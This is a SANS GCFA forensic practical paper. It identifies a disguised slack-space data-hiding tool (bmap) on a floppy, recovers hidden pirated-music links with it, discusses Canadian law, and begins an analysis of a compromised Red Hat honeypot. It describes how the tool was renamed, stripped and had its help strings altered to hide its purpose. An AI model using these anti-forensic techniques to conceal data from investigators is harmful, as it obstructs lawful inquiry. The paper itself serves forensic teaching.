Fight crime.
Unravel incidents... one byte at a time.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering
"Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508)"
GCFA Practical Assignment

GCFA - Practical Assignment
A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws

Date: November 21, 2003
Author: Kevin Miller
Version: 1.4
# Table of Contents

## TABLE OF CONTENTS .............................................................................................................. 2

## 1. ANALYSIS OF AN UNKNOWN BINARY ............................................................................. 4

1.1. Binary Details .................................................................................................................. 4
1.2. Program Description ...................................................................................................... 10
1.3. Forensic Details ............................................................................................................ 17
1.4. Program Identification ................................................................................................. 18
1.5. Legal Implications ....................................................................................................... 20
1.6. Interview Questions ..................................................................................................... 22
1.7. Case Information ......................................................................................................... 23
1.8. Additional Information ............................................................................................... 25

## 2. FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM ................................................................. 26

2.1. Synopsis of Case Facts ............................................................................................... 26
2.2. System Description ..................................................................................................... 27
2.3. Hardware Description ................................................................................................. 28
2.4. Media Image ................................................................................................................ 29
2.5. Media Analysis ........................................................................................................... 32
2.6. Timeline Analysis ...................................................................................................... 46
2.7. Recover Deleted Files ............................................................................................... 50
2.8. String Search ............................................................................................................. 52
2.9. Conclusions ................................................................................................................ 54

## 3. LEGAL ISSUES OF INCIDENT HANDLING .................................................................... 55

3.1. Questions: .................................................................................................................... 55

## APPENDICES ......................................................................................................................... 61

APPENDIX A .......................................................................................................................... 61
   Proc file strings listing ................................................................................................... 61
APPENDIX B .......................................................................................................................... 91
   Bmap-1.0.20.tar.gz file list .......................................................................................... 91
APPENDIX C .......................................................................................................................... 94
   Some Company – Acceptable Use Policy ...................................................................... 94
APPENDIX D .......................................................................................................................... 97
   Live Response Review ................................................................................................ 97
   Live response File listings ............................................................................................ 106
      startime.txt ................................................................................................................ 106
      w.txt .......................................................................................................................... 106
      nesrat-sockets.txt ...................................................................................................... 106
      lsof.txt ....................................................................................................................... 108
      ps.txt ......................................................................................................................... 108
      lsmod.txt ................................................................................................................ 173
      netstat-routes.txt ................................................................................................... 174
      ifconfig.txt .............................................................................................................. 174
      Proc-fsyltem.txt ....................................................................................................... 174
      stoptime.txt ............................................................................................................. 177
Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

Bold text within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS - GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:
- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cec5fbc8f84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![MD5 hashes from floppy](image)

Figure 1, MD5 hashes from floppy
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

![Figure 2. EnCase Report Screen shot - MD5 Verification](attachment:en_case_report.png)
Using EnCase the file 'prog' was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the ‘prog’ file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Figure 4. EnCase export of prog file.](image)

The ‘prog’ MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:
- ELF executable – the kernel recognizes the file a unix executable.
- statically linked – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- Stripped – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.\footnote{\textit{Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.}}

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```plaintext
mft_getopt
  .
  .
  .
flag-
flagized option invokation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
  .
  .
mft_log_shutdown
  .
  .
display fragmentation information for the file
frag
wipe the file from the raw device
  .
  .
autogenerate document ...
1.0.20 (07/15/03)
newt
use block-list knowledge to perform special operations on files
prog
main
off_t too small!
07/15/03
invalid option: %s
  .
  .
unable to raw open %s
Unable to determine count
Unable to allocate buffer
%s has holes in excess of %ld bytes...
error mapping block %d (%s)
nul block while mapping block %d.
  .
  .
```

\footnote{\textit{Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.}}
The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

```
“use block-list knowledge to perform special operations on files”.
```
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

“1.0.20 (07/15/03)”

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an;

“ELF 32-bit LSB executable for the Intel 80386 platform”.

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from http://old.lwn.net/2000/0413/announce.php3 state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.

---

The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsof, ps, netstat, lsmode and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scyld.com/pub/forensic_computing/bmap/’. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort -dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was "no filename. Try '--help' for help". Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

\[
\text{LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static}
\]

The bmap file was stripped using the strip command:

\[
\text{strip bmap}
\]

The 'bmap' file was compared with the 'prog' file using "md5sum", "file" and "ll" output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the 'prog' file. The 'file' command output and byte count matched.
Figure 7. md5sum - byte count -file type for 'bmap' file (VMWare)

The ‘prog’ file and the newly compiled ‘bmap’ file were run with the –help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog:1.0.20 (07/15/03) new
Usage: prog [OPTION]... [<target-filename>]
  use block-list knowledge to perform special operations on files

--doc VALUE
  where VALUE is one of:
  version display version and exit
  help display options and exit
  man generate man page and exit
  sgml generate SGML invocation info

--mode VALUE
  where VALUE is one of:
  m list sector numbers
  c extract a copy from the raw device
  s display data
  p place data
  w wipe
  chk test (returns 0 if exist)
  sb print number of bytes available
  wipe wipe the file from the raw device
  frag display fragmentation information for the file
  checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the ‘bmap –help’ output are shown in bold red in the output above. A comparison of the strings output from ‘prog’ and ‘bmap’ showed the modifications to the help strings for the prog file. The references that were “left out” point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the “prog” strings output are shown in bold red and the changed references are shown in bold blue in Table 1.

<table>
<thead>
<tr>
<th>Bmap strings output</th>
<th>Prog strings output</th>
</tr>
</thead>
<tbody>
<tr>
<td>wipe the file from the raw device</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>print number of slack bytes available</td>
<td>print number of bytes available</td>
</tr>
</tbody>
</table>
```markdown
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>slackbytes</td>
<td></td>
</tr>
<tr>
<td>test for slack</td>
<td>(returns 0 if file has slack)</td>
</tr>
<tr>
<td>checkslack</td>
<td></td>
</tr>
<tr>
<td>wipe slack</td>
<td>wipe</td>
</tr>
<tr>
<td>wipeslack</td>
<td></td>
</tr>
<tr>
<td>place data into slack</td>
<td>place data</td>
</tr>
<tr>
<td>putslack</td>
<td>display data in slack space</td>
</tr>
<tr>
<td>slack</td>
<td>extract a copy from the raw device</td>
</tr>
<tr>
<td>carve</td>
<td></td>
</tr>
<tr>
<td>list sector numbers</td>
<td>operation to perform on files</td>
</tr>
<tr>
<td>mode</td>
<td>mode</td>
</tr>
<tr>
<td>generate SGML invocation info</td>
<td>generate SGML invocation info</td>
</tr>
<tr>
<td>sgml</td>
<td></td>
</tr>
<tr>
<td>generate man page and exit</td>
<td>generate man page and exit</td>
</tr>
<tr>
<td>display options and exit</td>
<td>display options and exit</td>
</tr>
<tr>
<td>help</td>
<td>help</td>
</tr>
<tr>
<td>display version and exit</td>
<td>display version and exit</td>
</tr>
<tr>
<td>version</td>
<td></td>
</tr>
<tr>
<td>autogenerated document ...</td>
<td>autogenerated document ...</td>
</tr>
<tr>
<td>1.0.20 (07/15/03)</td>
<td>1.0.20 (07/15/03)</td>
</tr>
<tr>
<td><a href="mailto:newt@scyld.com">newt@scyld.com</a></td>
<td>newt</td>
</tr>
<tr>
<td>use block-list knowledge to perform special operations on files</td>
<td>use block-list knowledge to perform special operations on files</td>
</tr>
<tr>
<td>bmap</td>
<td>prog</td>
</tr>
</tbody>
</table>

Table 1 String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"

  ```c
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "putslack" to "p" and removed "into slack" from line.
- Changed "checkslack" to "chk", remove "for slack" and changed "file has slack" to "exist"
- Changed "slackbytes" to "sb" and removed "slack" from line.

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bcade02b97d17f20f0937df10511fcf8”. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog –help” and “bmap –help” are shown below. Note: No differences were found.
1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
  newt
  use block-list knowledge to perform special operations on files
    .
    .
    bmap_get_block_size
    bmap_map_block
    .
    bmap_raw_open
    .
    .
    bmap_raw_close
    .
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO-html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap --slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out

[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:

www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]#

The strings output was used to locate the source code for the “prog” program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

1.4. **Program Identification**

The source for bmap-1.0.20 was located at [ftp://ftp.scyld.com/pub/forensic_computing/bmap/](ftp://ftp.scyld.com/pub/forensic_computing/bmap/). The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program ‘bmap’ is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch “-static” was added.

```
.
.
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = “/.../image”

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static

BINARIES = bmap slacker bclump
LIBRARIES = $(STATIC_LIBRARIES) $(SHARED_LIBRARIES)
.
.
```

The compile of the “bmap” executable was done by typing “make” in the bmap-1.0.20 directory. To strip the file the command used was “strip bmap”. An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cbb9b2 bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3efa63cc56880 ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![Figure 8. GCC version information located in Unallocated Clusters](image-url)
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

342.1 (1) Every one who, fraudulently and without colour of right, (a) obtains, directly or indirectly, any computer service,

(b) by means of an electro-magnetic, acoustic, mechanical or other device, intercepts or causes to be intercepted, directly or indirectly, any function of a computer system,

(c) uses or causes to be used, directly or indirectly, a computer system with intent to commit an offence under paragraph (a) or (b) or an offence under section 430 in relation to data or a computer system, or

(d) uses, possesses, traffics in or permits another person to have access to a computer password that would enable a person to commit an offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years, or is guilty of an offence punishable on summary conviction. 3

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction. 4

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What logon ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership
5) What workstations do you use?
   Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and / or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

### 1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

```
# find / -name "*" -type f -exec bmap -checkslack {} 
```

The command will start at root (/) looking for all (-name "") files (-type f) and run “bmap – checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm
***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,
I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

1.8. Additional Information

Linux Data Hiding and Recovery Article -  


Section 2

2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The hard drive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5" floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek2 kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

---

2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
</table>
| Tag # 01 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag # 02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag # 03 | Western Digital AC26400-60RTT0  
Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag # 04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag # 05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

### 2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software ([www.guidancesoftware.com](http://www.guidancesoftware.com)). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image_url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

![Hashing](image)

Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

![After Acquisition](image)

Figure 13. Initial search, MD5 of files and Signature analysis.
To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>MD5</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>994b0c3b8e91d10087fa085f9586f4de</td>
<td>liveresponse.tar</td>
</tr>
<tr>
<td>82b86c939e8347c71e25655530566dc7</td>
<td>sebek.out</td>
</tr>
<tr>
<td>66130385e828dbb5218a4926f1df6a1</td>
<td>snortfiles.tar</td>
</tr>
<tr>
<td>d073eb91e149936a313f907cd3c9a3ac</td>
<td>varddimage.gz</td>
</tr>
</tbody>
</table>
Using md5sum.exe from http://www.etree.org/md5com.html, the file checksums were verified. The output is shown below:

![md5sum output](image)

2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJDA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all the tools used during the analysis:

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. [www.guidancesoftware.com](http://www.guidancesoftware.com)

2. mac_robber is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. [www.stake.com/research/tools/forensic](http://www.stake.com/research/tools/forensic)

3. The live response kit consisted of the following Linux binaries:
   
a. ‘nc’ (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. ‘date’ used to record the start time and stop time of the response.
   c. ‘w’ used to identify who is currently logged in.
   d. ‘netstat’ used to show the internet sockets that are open and to display the routing information.
   e. ‘lsof’ used to identify backdoors and network services.
   f. ‘ps’ used to show the processes in the process table.
   g. ‘ifconfig’ used to obtain the network configuration.
   h. ‘ls’ used to list the /proc file system.
   i. ‘md5sum’ used to record MD5 checksums.

